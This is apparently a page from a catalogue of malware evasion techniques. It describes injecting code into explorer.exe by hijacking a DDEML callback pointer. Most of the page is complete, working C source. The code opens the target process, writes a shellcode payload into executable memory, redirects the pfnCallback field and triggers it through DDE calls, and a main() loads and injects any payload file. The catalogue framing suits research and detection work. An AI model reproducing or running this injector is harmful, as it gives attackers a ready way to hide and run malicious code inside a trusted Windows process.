Breaking BaDDEr

Created the Monday 26 October 2020. Updated 6 months, 2 weeks ago.

Dynamic Data Exchange (DDE) is a protocol that allows applications to share data with each other. The Dynamic Data Exchange Management Library (DDEML) is a set of functions that facilitate data sharing using the DDE protocol. DDE and DDEML are commonly used in Microsoft Office to enable data to be shared between applications. In October 2017, a vulnerability was discovered in Microsoft Office that could be exploited using DDE to execute arbitrary code. Since then, DDE has been disabled by default in Microsoft Office and is no longer considered a critical component.

This injection method is limited to the explorer.exe process, which is the process that handles graphical user interface (GUI) elements in the Windows operating system.

Technique Identifier

U1201

Technique Tags

Data sharing protocol Data sharing library DDE protocol Code execution

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

#include "../ntlib/util.h"

typedef struct tagLINK_COUNT *PLINK_COUNT;
typedef ATOM LATOM;

typedef struct tagSERVER_LOOKUP {
    LATOM           laService;
    LATOM           laTopic;
    HWND            hwndServer;
} SERVER_LOOKUP, *PSERVER_LOOKUP;

typedef struct tagCL_INSTANCE_INFO {
    struct tagCL_INSTANCE_INFO *next;
    HANDLE                      hInstServer;
    HANDLE                      hInstClient;
    DWORD                       MonitorFlags;
    HWND                        hwndMother;
    HWND                        hwndEvent;
    HWND                        hwndTimeout;
    DWORD                       afCmd;
    PFNCALLBACK                 pfnCallback;
    DWORD                       LastError;
    DWORD                       tid;
    LATOM                      *plaNameService;
    WORD                        cNameServiceAlloc;
    PSERVER_LOOKUP              aServerLookup;
    short                       cServerLookupAlloc;
    WORD                        ConvStartupState;
    WORD                        flags;              // IIF_ flags
    short                       cInDDEMLCallback;
    PLINK_COUNT                 pLinkCount;
} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;

#define GWLP_INSTANCE_INFO 0 // PCL_INSTANCE_INFO

VOID dde_inject(LPVOID payload, DWORD payloadSize) {
    HWND             hw;
    SIZE_T           rd, wr;
    LPVOID           ptr, cs;
    HANDLE           hp;
    CL_INSTANCE_INFO pcii;
    CONVCONTEXT      cc;
    HCONVLIST        cl;
    DWORD            pid, idInst = 0;
    
    // 1. find a DDEML window and read the address 
    //    of CL_INSTANCE_INFO
    hw = FindWindowEx(NULL, NULL, L"DDEMLMom", NULL);
    if(hw == NULL) return;
    ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);
    if(ptr == NULL) return;
      
    // 2. open the process and read CL_INSTANCE_INFO
    GetWindowThreadProcessId(hw, &pid);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(hp == NULL) return;
    ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);
    
    // 3. allocate RWX memory and write payload there.
    //    update callback
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    WriteProcessMemory(
      hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), 
      &cs, sizeof(ULONG_PTR), &wr);
            
    // 4. trigger execution via DDE protocol
    DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    DdeDisconnectList(cl);
    DdeUninitialize(idInst);
    
    // 5. restore original pointer and cleanup
    WriteProcessMemory(
      hp, 
      (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), 
      &pcii.pfnCallback, sizeof(ULONG_PTR), &wr);
          
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

VOID dde_list(VOID) {
    CONVCONTEXT cc;
    HCONVLIST   cl;
    DWORD       idInst = 0;
    HCONV       c = NULL;
    CONVINFO    ci;
    WCHAR       server[MAX_PATH];
    
    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {
      printf("unable to initialize : %i.\n", GetLastError());
      return;
    }
    
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    
    if(cl != NULL) {
      for(;;) {
        c = DdeQueryNextServer(cl, c);
        if(c == NULL) break;
        ci.cb = sizeof(ci);
        DdeQueryConvInfo(c, QID_SYNC, &ci);
        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);
        
        printf("Service : %-10ws Process : %ws\n", 
          server, wnd2proc(ci.hwndPartner));
      }
      DdeDisconnectList(cl);
    } else {
      printf("DdeConnectList : %x\n", DdeGetLastError(idInst));
    }
    DdeUninitialize(idInst);
}

int main(void) {
    LPVOID  pic;
    DWORD   len;
    int     argc;
    wchar_t **argv;
    
    argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    
    if(argc != 2) {
      dde_list();
      printf("\n\nusage: dde_inject <payload>.\n");
      return 0;
    }

    len=readpic(argv[1], &pic);
    if (len==0) { printf("\ninvalid payload\n"); return 0;}
    
    dde_inject(pic, len);
    
    return 0;
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Windows Process Injection: Breaking BaDDEr | modexp